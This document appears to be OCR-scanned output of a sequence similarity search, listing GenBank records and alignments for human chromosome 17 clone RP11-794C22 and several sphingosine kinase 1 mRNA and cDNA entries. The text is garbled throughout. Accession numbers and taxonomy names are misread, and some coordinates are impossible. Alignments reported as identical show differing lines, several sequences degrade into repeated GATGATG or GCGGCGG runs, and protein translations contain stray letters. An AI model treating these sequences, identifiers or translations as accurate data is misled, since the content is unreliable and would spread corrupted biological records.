* 89230 98320: contig of 8991 bp in length
* 98321 105559: contig of 7239 bp in length
* 105560 105659: gap of unknown length
* 105660 113081: contig of 7422 bp in length
* 113082 113181: gap of unknown length
* 113182 120975: contig of 7794 bp in length
* 120976 121075: gap of unknown length
* 121076 132903: contig of 11828 bp in length
* 132904 133003: gap of unknown length
* 133004 144491: contig of 11488 bp in length
* 144492 144591: gap of unknown length
* 144592 153726: contig of 9135 bp in length
* 153727 153826: gap of unknown length
* 153827 171330: contig of 17504 bp in length
* 171331 171430: gap of unknown length
* 171431 191919: contig of 20489 bp in length
* 191920 209861: gap of unknown length
* 192020 209861: contig of 17842 bp in length.

Location/Qualifiers
1. 209861
/organism="Homo sapiens"
/db_xref="taxon:9606"
/chromosome="17"
/clone="RP11-794C22"
1. 2315
/note="assembly_name:Contig17"
misc_feature 2416. 4572
/note="assembly_name:Contig18"
misc_feature 4673. 7009
/note="assembly_name:Contig19"
misc_feature 7110. 9765
/note="assembly_name:Contig20"
misc_feature 9866. 12473
/note="assembly_name:Contig21"
misc_feature 12574. 16666
/note="assembly_name:Contig22"
misc_feature 16767. 20013
```

```
misc_feature /note="assembly_name:Contig23"
20114. 24008
/note="assembly_name:Contig24"
misc_feature 24109. 28049
/note="assembly_name:Contig25"
misc_feature 28150. 31940
/note="assembly_name:Contig26"
misc_feature 32041. 35923
/note="assembly_name:Contig27"
misc_feature 36024. 40326
/note="assembly_name:Contig28"
misc_feature 40427. 45270
/note="assembly_name:Contig29"
misc_feature 45371. 48815
/note="assembly_name:Contig30"
misc_feature 48916. 53904
/note="assembly_name:Contig31"
misc_feature 54005. 58337
/note="assembly_name:Contig32"
misc_feature 58438. 63057
/note="assembly_name:Contig33"
misc_feature 63158. 67683
/note="assembly_name:Contig34"
misc_feature 67784. 74319
/note="assembly_name:Contig35"
misc_feature 74420. 83151
/note="assembly_name:Contig36"
misc_feature 83252. 89129
/note="assembly_name:Contig37"
misc_feature 89230. 98220
/note="assembly_name:Contig38"
misc_feature 98321. 105559
/note="assembly_name:Contig39"
misc_feature 105660. 113081
/note="assembly_name:Contig40"
misc_feature 113182. 120975
/note="assembly_name:Contig41"
misc_feature 121076. 132903
/note="assembly_name:Contig42"
misc_feature 133004. 144491
/note="assembly_name:Contig43"
misc_feature 144592. 153726
/note="assembly_name:Contig44"
misc_feature 153827. 171330
/note="assembly_name:Contig45"
misc_feature 171431. 191919
/note="assembly_name:Contig46"
misc_feature 192020. 209861
/note="assembly_name:Contig47"
misc_feature 209861
vector_side:right"
clone_end:876
vector_side:left"
BASE COUNT 52775 a 51288 c 51341 g 51413 t 3044 others

Query Match 39.0% Score 623; DB 2; Length 209861;
Best Local Similarity 99.9%; Pred. No. 0;
Matches 673; Conservative 0; Mismatches 1; Indels 0; Gaps 0;

OY 925 GTGGTCCCGCAGCAGACTTTGTGCTAGTCTGGACACTGCTGCACCTGGCCACT 984
DB 72221 GTGGTCCCGCAGCAGACTTTGTGCTAGTCTGGACACTGCTGCACCTGGCCACT 72162
OY 985 GAGATGTTTCTGCACCCAGGCGCGTGTGACAGCGGGGTCAATGATCTGTTCTACGTG 1044
DB 72161 GAGATGTTTCTGCACCCAGGCGCGTGTGACAGCGGGGTCAATGATCTGTTCTACGTG 72102
OY 1045 CGGCGGAGAGTGTCTGTCACATGCTCTGCGCTTCTCTGCGCCATGAGAGAGGCGAG 1104
DB 72101 CGGCGGAGAGTGTCTGTCACATGCTCTGCGCTTCTCTGCGCCATGAGAGAGGCGAG 72042
OY 1105 CATATGAGATATGAATGCCCTACTTGTATATGTGCGCGGTGCTGCGCTTGAGAG 1164
```


Db	72041	CATATGGAGTATGAATGCCCCCTACTGTGTAATATATGTCCCGGTGGCTTCCGCTTGGAG	71982
OY	1165	CCCAAGGATGGGAAGGTGTGTTTGGCAGTGGATGGGAATTGATGGTTAGCGAGGCCGTG	1224
Db	71981	CCCAAGATGGGAAGGTGTGTTTGGCAGTGGATGGGAATTGATGGTTAGCGAGGCCGTG	719222
OY	1225	CAGGGCCAGGTGCACCCAAACTCTCTGGATGTGTAGGGGTTGGGTGGAGCCCCCGCC	1284
Db	71921	CAGGGCCAGGTGCACCCAAACTCTCTGGATGTGTAGGGGTTGGGTGGAGCCCCCGCC	718622
OY	1285	AGCTGGAAAGCCCCAGCAGATGCACCGCCAGAAAGACCCCTTATGACCCCTGGGCGCGCT	1344
Db	71861	AGCTGGAAAGCCCCAGCAGATGCACCGCCAGAAAGACCCCTTATGACCCCTGGGCGCGCT	718022
OY	1345	GTGCTTATGTTCTACTTTCGAGAGCCCTTCTCTTCCCTAGGGGTGCAGGGCCGTGTCA	1404
Db	71801	GTGCTTATGTTCTACTTTCGAGAGCCCTTCTCTTCCCTAGGGGTGCAGGGCCGTGTCA	717422
OY	1405	CAGCTCTGTGTGGGGGTGGAGGACATCTCTCTGCGAAGAGGTGAGAAAGTTGGAGCTATGC	1464
Db	71741	CAGCTCTGTGTGGGGGTGGAGGACATCTCTCTGCGAAGAGGTGAGAAAGTTGGAGCTATGC	716822
OY	1465	TTTGGGGGGGACAGGCCGAATGAAGTCTGGGGTCAGAGACCCACAGCTGGGTGGGCCAGGT	1524
Db	71681	TTTGGGGGGGACAGGCCGAATGAAGTCTGGGGTCAGAGACCCACAGCTGGGTGGGCCAGGT	716222
OY	1525	GCCATATGTAAGGCTTCTAGTTTGTCTGAGACCCCCACCCACGACCAACCAATTCACAATA	1584
Db	71621	GCCATATGTAAGGCTTCTAGTTTGTCTGAGACCCCCACCCACGACCAACCAATTCACAATA	715622
OY	1585	AAGTGACATTCACA 1598	
Db	71561	AAGTGACATTCACA 71548	

FEATURES	
REFERENCE	
AUTHORS	
ORGANISM	
KEYWORDS	
SOURCE	
VERSION	
ACCESSION	
LOCUS	
DEFINITION	
DESCRIPTION	
COMMENT	

AKO23393 1772 bp mRNA linear PRI 01-AUG-2002
Homo sapiens cDNA FLJ1331 fls, clone OVARC1001809, moderately similar to Mus musculus sphingosine kinase (SPHK1a) mRNA.
AKO23393
AKO23393.1 GI:10435311
Oligo capping; fls (full insert sequence).
Homo sapiens ovary, tumor tissue cDNA to mRNA, clone_1lb:OVARC1 clone_OVARC1001809.
Homo sapiens
Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi; Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.

1
Iisogai,T., Ota,T., Hayashi,K., Sugiyama,T., Otsuki,T., Suzuki,Y., Nishikawa,T., Nagai,K., Sugano,S., Shiratori,A., Sudo,H., Magatsuma,M., Hosokiri,T., Kaku,Y., Kodaira,H., Kondo,H., Sugawara,M., Takahashi,M., Chiba,Y., Ishida,S., Murakawa,K., Ono,Y., Takiguchi,S., Watanabe,S., Kimura,K., Murakami,K., Ishii,S., Kawai,Y., Saito,K., Yamamoto,J., Wakamatsu,A., Nakamura,Y., Nagahara,K., Masuno,Y., Ninomiya,K. and Iwayanagi,T.
NEBO human cDNA sequencing project
unpublished
2 (bases 1 to 1772)
Iisogai,T. and Otsuki,T.
Direct Submission
Submitted (23-AUG-2000) Takao Iisogai, Helix Research Institute, Genomics Laboratory, 1532-3 Yana, Kisarazu, Chiba 297-0812, Japan (E-mail:genomices@helix.co.jp, Tel:81-438-52-3975, Fax:81-438-52-3986)
NEBO human cDNA sequencing project supported by Ministry of International Trade and Industry of Japan; cDNA full insert sequencing: Research Association for Biotechnology; cDNA library construction, 5'- & 3'-end one pass sequencing and clone selection: Helix Research Institute (supported by Japan Key Technology Center etc.) and Department of Virology, Institute of Medical Science, University of Tokyo.

Location/Qualifiers

```

source
1. 1772
/organism="Homo sapiens"
/db_xref="taxon:9606"
/clone="OVARC1001809"
/tissue_type="Ovary, tumor tissue"
/clone_id="OVARC1"
/note="cloning vector: pME18SFL3"
350. 1504
/note="unnamed protein product"
/codon_start=1
/protein_id="BA814556.1"
/db_xref="GI:10435312"
/translation="MDPAGGGRGVLPAPRCRYLVLLNPRGSGKALQLFRSHVPLAE
AIEFTLTERRHARELYNSELGEMDILVYNSGGLMHEVYVNGMEBPDWTAIO
KPLCSLPAGSGNALAALSNHAGYEQVNTBEDLNTCLLRLLSPSNLSLSTAG
LRPLSLVLMGFIADVDLSESKYRGTEHMEFTLGTFLRLAALTYGRRLAYLPVGW
GSKTPASVYVVOOGPDVAHLVYLPLEEPSPHNTYVDDPFDVYALALSHSGSEKAP
MGRCASCMHLFYVRAGYSRMLRLFLAMEKGGHMEKCPDYLVYVYFRLPKDG
KGVFAVDGELMESAAYOGVNPNTFMFMSGCVPEPSPKFDQMPPEEPL"
285 a 566 c 585 g 336 t
BASE COUNT
ORIGIN

```

Query Match	36.9%	Score 590	DB 9	Length 1772
Best Local Similarity	100.0%	Pred. NO. 0		
Matches 590	Conservative 0	Mismatches 0	Indels 0	Gaps 0
QY	18 AGCCACGGCTCTCGGGGCGGGGAAAGCGAGAGCCCGACAGCGCGGCTCTGCGAGCGCCCGCTCGGG	77		
Db	193 AGCCACGGCTCTCGGGGCGGGGAAAGCGAGAGCCCGACAGCGCGGCTCTGCGAGCGCCCGCTCGGG	252		
QY	78 CAGCAGCGATTAAGAGCTGAAGGACAGAGAGCCCGCCACAGGGGCAAGCGCCCGCCACAGCGCC	137		
Db	253 CAGCAGCGATTAAGAGCTGAAGGACAGAGAGCCCGCCACAGGGGCAAGCGCCCGCCACAGCGCC	312		
QY	138 AGGGAGCCCCCTGGGAGCGGGGAGCGCGCGGCTGAGGTTATGATATCAGCGGGGCGCCCG	197		
Db	313 AGGGAGCCCCCTGGGAGCGGGGAGCGCGCGGCTGAGGTTATGATATCAGCGGGGCGCCCG	372		
QY	198 GGGCGTGTCCCGGAGCGCCCTCCCGCGTCTGTGCTGTGAACCGCGCGCGGCAAGG	257		
Db	373 GGGCGTGTCCCGGAGCGCCCTCCCGCGTCTGTGCTGTGAACCGCGCGCGGCAAGG	432		
QY	258 CAAGGCTCTTGACGCTCTTCCGGAAGTCACGTGCAGCCCTTTTGGCTGAGGCTGAATCTC	317		
Db	433 CAAGGCTCTTGACGCTCTTCCGGAAGTCACGTGCAGCCCTTTTGGCTGAGGCTGAATCTC	492		
QY	318 CTTACAGCTGATGCTCACTATGAGCGCGGGAACACAGCGCGGGAGAGCTGGTGGGTGGAGGA	377		
Db	493 CTTACAGCTGATGCTCACTATGAGCGCGGGAACACAGCGCGGGAGAGCTGGTGGGTGGAGGA	552		
QY	378 GCTGGGCGCGCTGGGAGCGCTCTGATGATGCTGTGAGACAGGGGCGATGACACGAGTGGT	437		
Db	553 GCTGGGCGCGCTGGGAGCGCTCTGATGATGCTGTGAGACAGGGGCGATGACACGAGTGGT	612		
QY	438 GAAGGGGCTCATGAGAGCGGCTGACTGCTGGAGACCGGCATCCAGAGAGCCCTGTGTAGCT	497		
Db	613 GAAGGGGCTCATGAGAGCGGCTGACTGCTGGAGACCGGCATCCAGAGAGCCCTGTGTAGCT	672		
QY	498 CCCAGCAGGCTCTGGCAACAGCGGCTGGGACGCTCTTGAACCATATATGCTGCTATGAGCA	557		
Db	673 CCCAGCAGGCTCTGGCAACAGCGGCTGGGACGCTCTTGAACCATATATGCTGCTATGAGCA	732		
QY	558 GGTACACCAATGAGAGCTCTGTACCAACTGACAGCTATTTGCTGTGGCGCC	607		
Db	733 GGTACACCAATGAGAGCTCTGTACCAACTGACAGCTATTTGCTGTGGCGCC	782		
RESULT 5	AF238083	1783 bp	mRNA	Linear
LOCUS	AF238083			
DEFINITION	Homo sapiens sphingosine kinase-1 mRNA, complete cds.			
ACCESSION	AF238083.1	GI:8132867		

KEYWORDS
SOURCE
ORGANISM
REFERENCE
AUTHORS
TITLE
JOURNAL
MEDLINE
PUBMED
REFERENCE
AUTHORS
TITLE
JOURNAL
FEATURES
SOURCE

Homo sapiens.
Homo sapiens
Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
Mammalia; Eutheria; Primates; Catarrhini; Homidae; Homo.
Nava, V.E., Lacana, E., Poulton, S., Liu, H., Suglura, M., Kono, K.,
Milstien, S., Kohama, T. and Spiegel, S.
Functional characterization of human sphingosine kinase-1
FEBS Lett. 473 (1), 81-84 (2000)

Nava, V.E., Lacana, E., Poulton, S., Liu, H., Suglura, M., Kono, K.,
Milstien, S., Kohama, T. and Spiegel, S.
Direct Submission
Submitted (23-FEB-2000) Biochemistry, Georgetown University, 3900
Reservoir RD NW BSB Rm 357, Washington, DC 20007, USA

Location/Qualifiers
1. 1783
/organism="Homo sapiens"
/db_xref="taxon:9606"
/chromosome="17"
/map="17q25.2"
337. 1491
/codon_start=1
/product="sphingosine kinase-1"
/protein_id="AAF73423.1"
/db_xref="GI:8132868"
/translation="MDPAGGPRGVLPFRPRVYLVLNPRGKAKALQFRSHVQPLAE
AEISPTLTERNRHARELYSEELRMDALVYSGDGLMHEVNGLMERPDWETAIO
KPLCSLPLAGSGNLAASINHYAGEYEDNEDLLTCTLLCRLLSPNMLSLHTASG
LRFSLVSLMGFTADVDESEKRYRGLGEMRFTGLTFLAALRTYRGLAYLPVGRV
GSKTPASPVVVOQGVDAHLVPLLEBPVPSHMTVPDEDFVLLALHSHLSEMEFAP
MGRCAAGVHLEFYRAGVSAMLLRFLAEKGRHMEKRYLYVYVVAFLREPKDG
KGFVAVDELWSEAVVOGVHPTFVWVSCVPEPPSKPQOMPPEEPL"

BASE COUNT 314 a 546 c 591 g 332 t

Query Match 36.9%; Score 590; DB 9; Length 1783;
Best Local Similarity 100.0%; Pred. No. 0;
Matches 590; Conservative 0; Mismatches 0; Indels 0; Gaps 0;

18 AGCCAGGCTCCGGGCGGGAAGGAGAGCCGACAGCGGCGCTCGACGCCGCTGGG 77
180 AGCCAGGCTCCGGGCGGGAAGGAGAGCCGACAGCGGCGCTCGACGCCGCTGGG 239
78 CAGCAGGATAGAGAGCTGAAGGAGAGAGCCGCGGCGAGGCGCCGACAGCGCC 137
240 CAGCAGGATAGAGAGCTGAAGGAGAGAGCCGCGGCGAGGCGCCGCGCCGACAGCGCC 299
138 AGGAGCCCGTGGAGAGGAGAGCGGGGTCAGAGTTATGATCCAGCGGGCGCCCGC 197
300 AGGAGCCCGTGGAGAGGAGAGCGGGGTCAGAGTTATGATCCAGCGGGCGCCCGC 359
198 GGGGCTGCTCCCGCGGCGCTGCGGCTGCTGCTGCTGAAACCGCGGGCGGCAAGGG 257
360 GGGGCTGCTCCCGCGGCGCTGCGGCTGCTGCTGCTGAAACCGCGGGCGGCAAGGG 419
258 CAAAGGCTTGGAGTCTTCCGAGATCAGGTGAGAGCCCTTTTGGCTGAGGCTGAATGTC 317
420 CAAAGGCTTGGAGTCTTCCGAGATCAGGTGAGAGCCCTTTTGGCTGAGGCTGAATGTC 479
318 CTTACAGCTGATGCTCACTAGAGCGGCAACACAGCGGCGGAGCTGGTGGGTCGAGGA 377
480 CTTACAGCTGATGCTCACTAGAGCGGCAACACAGCGGCGGAGCTGGTGGGTCGAGGA 539
378 GCTGGGCGGCTGGAGAGCGCTGGTGGTGGTGGTGGTGGTGGTGGTGGTGGTGGTGGT 437
540 GCTGGGCGGCTGGAGAGCGCTGGTGGTGGTGGTGGTGGTGGTGGTGGTGGTGGTGGT 599
438 GAAGGAGCTATGAGAGCGGCTGATGGAGAGCGGATCCAGAGCCCTGTGTACCT 497

Db 600 GAAGGCTCATGAGAGCGGCTGACTGGGAGAGCCGACATCCAGAGCCCTGTGTACCT 659
Qy 498 CCCAGAGGCTCTGGCAAGCGGCTGGAGCTTCTTGAACATTATGCTGGCTATGACA 557
Db 660 CCCAGAGGCTCTGGCAAGCGGCTGGAGCTTCTTGAACATTATGCTGGCTATGACA 719
Qy 558 GGTACCAATGAGAGCTCTGACCAACTGACAGCTATGCTGTGCGGCC 607
Db 720 GTTCACCAATGAGAGCTCTGACCAACTGACAGCTATGCTGTGCGGCC 769

RESULT 6
BC008040
LOCUS
DEFINITION
ACCESSION
VERSION
KEYWORDS
SOURCE
ORGANISM
REFERENCE
AUTHORS
TITLE
JOURNAL
COMMENT

Homo sapiens.
Homo sapiens
Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
Mammalia; Eutheria; Primates; Catarrhini; Homidae; Homo.
Strausberg, R.
Direct Submission
Submitted (21-MAY-2001) National Institutes of Health, Mammalian
Gene Collection (MGC), Cancer Genomics Office, National Cancer
Institute, 31 Center Drive, Room 11A03, Bethesda, MD 20892-2590,
USA
NIH-MGC Project URL: <http://mgc.ncl.nih.gov>
Contact: MGC help desk
Email: cgaphs-remail.nih.gov
Tissue Procurement: ATCC/DC/DTF
CDNA Library Preparation: Rubin Laboratory
CDNA Library Arrayed by: The I.M.A.G.E. Consortium (LNL)
DNA Sequencing by: Institute for Systems Biology
<http://www.systemsbiology.org>
contact: amadan@systemsbiology.org
Anup Madan, Rachel Dickhoff, Jessica Fahey, Stephanie Ford, Julia
Greene, Mark Kettelman and Anuradha Madan

Clone distribution: MGC clone distribution information can be found
through the I.M.A.G.E. Consortium/LNL at: <http://image.lnl.gov>
Series: IRL Plate: 24 Row: n Column: 4
This clone was selected for full length sequencing because it
passed the following selection criteria: matched mRNA gi: 10433790.
Location/Qualifiers
1. 1824
/organism="Homo sapiens"
/db_xref="taxon:9606"
/clone="MGC:15041 IMAGE:3831657"
/tissue_type="Skin, melanotic melanoma."
/clone_1lb="NIH-MGC-20"
/lab_host="DH10B-R"
/note="Vector: pOT7"
339. 1493
/codon_start=1
/product="Unknown (protein for MGC:15041)"
/protein_id="AAH08040.1"
/db_xref="GI:14165486"
/translation="MDPAGGPRGVLPFRPRVYLVLNPRGKAKALQFRSHVQPLAE
AEISFTLTERNRHARELYSEELRMDALVYSGDGLMHEVNGLMERPDWETAIO
KPLCSLPLAGSGNLAASINHYAGEYEDNEDLLTCTLLCRLLSPNMLSLHTASG
LRFSLVSLMGFTADVDESEKRYRGLGEMRFTGLTFLAALRTYRGLAYLPVGRV
GSKTPASPVVVOQGVDAHLVPLLEBPVPSHMTVPDEDFVLLALHSHLSEMEFAP
MGRCAAGVHLEFYRAGVSAMLLRFLAEKGRHMEKRYLYVYVVAFLREPKDG
KGFVAVDELWSEAVVOGVHPTFVWVSCVPEPPSKPQOMPPEEPL"

BASE COUNT 354 a 551 c 592 g 327 t

Query Match 36.9%; Score 590; DB 9; Length 1824;
Best Local Similarity 100.0%; Pred. No. 0;
Matches 590; Conservative 0; Mismatches 0; Indels 0; Gaps 0;

QY 18 AGCCACGGCTCCGGGCGGGAGGCGAGCCACAGCCGGCCCTGCGACGCCCTCTGGG 77
 Db 182 AGCCACGGCTCCGGGCGGGAGGCGAGCCACAGCCGGCCCTGCGACGCCCTCTGGG 241
 QY 78 CAGCAGCATTAAGAGCTGAAGGAGGAGCCGCCACGCGGAGCGGAGCGGCGGCGGCGG 137
 Db 242 CAGCAGCATTAAGAGCTGAAGGAGGAGCGGCGGAGCGGAGCGGAGCGGCGGCGGCGG 301
 QY 138 AGGAGACCCCTGGGAGGAGGAGCGGCGGCTGAGGTTATGATCCAGCGGCGGCGGCGG 197
 Db 302 AGGAGACCCCTGGGAGGAGGAGCGGCGGCTGAGGTTATGATCCAGCGGCGGCGGCGG 361
 QY 198 GGGGCTCTCCCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGG 257
 Db 362 GGGGCTCTCCCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGG 421
 QY 258 CAGAGCCTTGAAGCTCTTCCGAGAGTCAAGGAGCGGCGGCGGCGGCGGCGGCGGCGG 317
 Db 422 CAGAGCCTTGAAGCTCTTCCGAGAGTCAAGGAGCGGCGGCGGCGGCGGCGGCGGCGG 481
 QY 318 CTTACAGCTATGCTCACTAGAGCGGCGGAGCAAGCGGCGGCGGCGGCGGCGGCGG 377
 Db 482 CTTACAGCTATGCTCACTAGAGCGGCGGAGCAAGCGGCGGCGGCGGCGGCGGCGG 541
 QY 378 GCTGGGCGGCTGGAGCGCTGTGCTCATGTGTGAGAGCGGCGGCGGCGGCGGCGGCGG 437
 Db 542 GCTGGGCGGCTGGAGCGCTGTGCTCATGTGTGAGAGCGGCGGCGGCGGCGGCGGCGG 601
 QY 438 GAACGGGCTCATGAGAGCGGCGGCTGAGGAGAGCGGCGGCGGCGGCGGCGGCGGCGG 497
 Db 602 GAACGGGCTCATGAGAGCGGCGGCTGAGGAGAGCGGCGGCGGCGGCGGCGGCGGCGG 661
 QY 498 CCCAGCAGGCTCTGGAGAGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGG 557
 Db 662 CCCAGCAGGCTCTGGAGAGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGG 721
 QY 558 GGTACCAATGAAAGACTCTGACCAACTGACAGCTTATGCTGTGCGGCGG 607
 Db 722 GGTACCAATGAAAGACTCTGACCAACTGACAGCTTATGCTGTGCGGCGG 771

RESULT 7
 BC004112 1192 bp mRNA linear PRI 12-JUL-2001
 LOCUS Homo sapiens, similar to sphingosine kinase 1, clone IMAGE:3832587,
 DEFINITION mRNA, partial cds.
 ACCESSION BC004112
 VERSION BC004112.1 GI:13278662
 KEYWORDS Homo sapiens.
 SOURCE Homo sapiens.
 ORGANISM Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
 Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.
 REFERENCE 1 (bases 1 to 1192)
 AUTHORS Strausberg, R.
 TITLE Direct Submission
 JOURNAL Submitted (01-MAR-2001) National Institutes of Health, Mammalian
 Gene Collection (MGC), Cancer Genomics Office, National Cancer
 Institute, 31 Center Drive, Room 11A03, Bethesda, MD 20892-2590,
 USA
 REMARK NIH-MGC Project URL: <http://mgc.ncl.nih.gov>
 Contact: MGC help desk
 Email: cgapbs-remail.nih.gov
 Tissue Procurement: ATCC/DCTP/DRP
 CDNA Library Preparation: Rubin Laboratory
 CDNA Library Arrayed By: The I.M.A.G.E. Consortium (ILNLP)
 DNA Sequencing by: Institute for Systems Biology
<http://www.systemsbio.org>
 contact: amadanesystemsbiology.org
 Anup Madan, Rachel Dickhoff, Jessica Fahey, Stephanie Ford, Julia
 Greene, Mark Kettelman and Anuradha Madan

Clone distribution: MGC clone distribution information can be found
 through the I.M.A.G.E. Consortium/ILNLP at: <http://image.llnl.gov>
 Series: IRAL Plate: 14 Row: f Column: 13.
 Location/Qualifiers
 1. 1192
 /organism="Homo sapiens"
 /db_xref="taxon:9606"
 /clone="IMAGE:3832587"
 /tissue_type="Skin, melanotic melanoma."
 /clone_id="NIH-MGC_20"
 /lab_host="DH10B-R"
 /note="Vector: pOTB7"
 <1. 873
 /codon_start=1
 /product="Similar to sphingosine kinase 1"
 /protein_id="AA04112.1"
 /db_xref="GI:13278663"
 /translation="GTRETAIOPPLSLPAGSNAALASLNHYAGVEQVNTEDLTNC
 TLLCLRLLSPMLLSLHTASGLRLEFVLSLWANGFIDVLESEKVRLEEMFTLGT
 FLRLAALRTYRGLAYLPVGRVSKTPASPMVVOQGVDAHLVLEPVSHTVVD
 EDPRVYALALSHLSGSEMPFAPMGRAGVMHLEPVYRAGVSRAMLRFLAMKGRHM
 EYECPRIVYTPVYAFRLPEPKDGKVRVDELINVSERVOQVHPNIFMNSGVEPFP
 SMKPDMPPEEPL."
 BASE COUNT 245 a 345 c 357 g 245 t
 ORIGIN
 Query Match 35.8%; Score 572; DB 9; Length 1192;
 Best Local Similarity 99.7%; Pred. No. 1.3e-112;
 Matches 672; Conservative 0; Mismatches 2; Indels 0; Gaps 0;
 QY 925 GTGTGGCCGAGAGGAGCTTGTGCTATGCTCTGACACTGCTGACACTGCGACCTGGCCAGT 984
 Db 469 GTGTGGCCGAGAGGAGCTTGTGCTATGCTCTGACACTGCTGACACTGCGACCTGGCCAGT 528
 QY 985 GAGATGTTTGTGACACCATGAGGCGGCTGTGACACTGCGCTCATGCTATTGTTACTGTG 1044
 Db 529 GAGATGTTTGTGACACCATGAGGCGGCTGTGACACTGCGCTCATGCTATTGTTACTGTG 588
 QY 1045 CGGGCGGAGAGTGTGCTGACATGCTGCTGCGCTTCTCGGCGCATGAGAGGAGGCGAG 1104
 Db 589 CGGGCGGAGAGTGTGCTGACATGCTGCTGCGCTTCTCGGCGCATGAGAGGAGGCGAG 648
 QY 1105 CATATGAGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATGAT 1164
 Db 649 CATATGAGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATGAT 708
 QY 1165 CCCAAGATGAGAAAGTGTGTTGACAGTGTGATGAGGGAATGATGATGATGATGATGATG 1224
 Db 709 CCCAAGATGAGAAAGTGTGTTGACAGTGTGATGAGGGAATGATGATGATGATGATGATG 768
 QY 1225 CAGGCGCAGGTCACCCCAACTACTTCTGATGATGATGATGATGATGATGATGATGATG 1284
 Db 769 CAGGCGCAGGTCACCCCAACTACTTCTGATGATGATGATGATGATGATGATGATGATG 828
 QY 1285 AGCTGGAAGCCCGACGATGTCACGCGCCAGAGAGGCGCTTATGACCCCTGGGCGGCGT 1344
 Db 829 AGCTGGAAGCCCGACGATGTCACGCGCCAGAGAGGCGCTTATGACCCCTGGGCGGCGT 888
 QY 1345 GTGCTTATGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATGAT 1404
 Db 889 GTGCTTATGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATGAT 948
 QY 1405 CAGCTCTGTGAGGAGGAGAGCTCTCTGAGAGAGGAGGAGAGGAGGAGGAGGAGGAGGAG 1464
 Db 949 CAGCTCTGTGAGGAGGAGAGCTCTCTGAGAGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1008
 QY 1465 TTTGGGGGAGACAGGCGCAATGAAGTCTGTGAGAGGAGGAGGAGGAGGAGGAGGAGGAG 1524
 Db 1009 TTTGGGGGAGACAGGCGCAATGAAGTCTGTGAGAGGAGGAGGAGGAGGAGGAGGAGGAG 1068
 QY 1525 GCTATGTAAGGCTTCTAGTGTGTTGAGAGACCCCAAGGAGGAGGAGGAGGAGGAGGAG 1584
 Db 1069 GCTATGTAAGGCTTCTAGTGTGTTGAGAGACCCCAAGGAGGAGGAGGAGGAGGAGGAGGAG 1128

OY 1585 AAGTGCATTTCCCA 1598
 |||||||
 Db 1129 AAGTGCATTTCCCA 1142

 RESULT 8
 HSA245504 1428 bp mRNA linear PRI 22-MAY-2000
 LOCUS Homo sapiens mRNA for sphingosine kinase (gene SPK).
 DEFINITION A245504.1 GI:8017375
 ACCESSION A245504.1 GI:8017375
 VERSION sphingosine kinase; SPK gene.
 KEYWORDS sphingosine kinase; SPK gene.
 SOURCE Homo sapiens.
 ORGANISM Homo sapiens; Chordata; Craniata; Vertebrata; Euteleostomi;
 Eukaryota; Metazoa; Primates; Catarrhini; Hominiidae; Homo.
 REFERENCE 1 (bases 1 to 1428)
 AUTHORS Van Veldhoven, P.P. and Gijssbers, S.
 JOURNAL Unpublished
 REFERENCE 2 (bases 1 to 1428)
 AUTHORS Van Veldhoven, P.P.
 JOURNAL Direct Submission
 TITLE Submitted (16-AUG-1999) Van Veldhoven, P.P., Molecular Cell Biology,
 Katholieke Universiteit Leuven, K.U.Leuven, Campus Gasthuisberg,
 Afid. Farmakologie, Herestraat, B-3000 Leuven, BELGIUM
 JOURNAL Revised by author (17-MAY-2000)
 REMARK Location/Qualifiers
 FEATURES
 source
 1..1428
 /organism="Homo sapiens"
 /db_xref="taxon:9606"
 /chromosome="17"
 /map="17q24"
 1..1146
 /gene="SPK"
 1..1146
 /gene="SPK"
 /codon_start=1
 /product="sphingosine kinase"
 /protein_id="CAB92131.1"
 /db_xref="gi:8017375"
 /translation="MDPAGRGVARLRVLLINPRGKALQLEFRSHVPLAEAL
 SETMLTERNHARELVESEELRWDAIVMSGDILMEVNGLEMERDFAQKEL
 CSIPASSGKPLASLNHYAGYEOVTNEDLLCTCLLCRIISPNNLSHTASGLRL
 FSYLSIANFPIADVDLSEKRYLIGEMRTTGLTFRLAALTYRGLAYLPGVGRSK
 TPASPVVQDGPDADLHLYPEEPVSHMTVVDDEEVYLLALHSLGSEMFAPMGR
 CAAGVHLFVRAGVSRNALRLFLAMERGRMECEPPIYVYPVGARLRPKDKGV
 FAVDGEIWSAEAVQGVHPNFMVSGVCEPPEPPSMKPPQMPPEEPL"
 BASE COUNT 247 a 422 c 462 g 297 t
 ORIGIN
 Query Match 35 8%; Score 572; DB 9; Length 1428;
 Best Local Similarity 99.7%; Pred. No. 1.3e-312;
 Matches 672; Conservative 0; Mismatches 2; Indels 0; Gaps 0;
 OY 925 GTGGGCCCGACGAGGACTTGTGCTAGTCTGTCGACATGCTGACATCGACCTGGCCAT 984
 |||||||
 Db 742 GTGGGCCCGACGAGGACTTGTGCTAGTCTGTCGACATGCTGACATCGACCTGGCCAT 801
 |||||||
 OY 985 GAGATGTTGCTGCACACCATGCGCGCTGTGCGAGCTGCGCTCATGATCTGTTCTACGTC 1044
 |||||||
 Db 802 GAGATGTTGCTGCACACCATGCGCGCTGTGCGAGCTGCGCTCATGATCTGTTCTACGTC 861
 |||||||
 OY 1045 GGGGGGGAGTGTCTGTCGATCTGCTGCTGCGCTCTCTGCGCATGAGGAGGCGAG 1104
 |||||||
 Db 862 CGGGGGGAGTGTCTGTCGATCTGCTGCTGCGCTCTCTGCGCATGAGGAGGCGAG 921
 |||||||
 OY 1105 CATATGAGTATGATGAGTATGAGTATGAGTATGAGTATGAGTATGAGTATGAGTATGAG 1164
 |||||||
 Db 922 CATATGAGTATGAGTATGAGTATGAGTATGAGTATGAGTATGAGTATGAGTATGAG 981
 |||||||
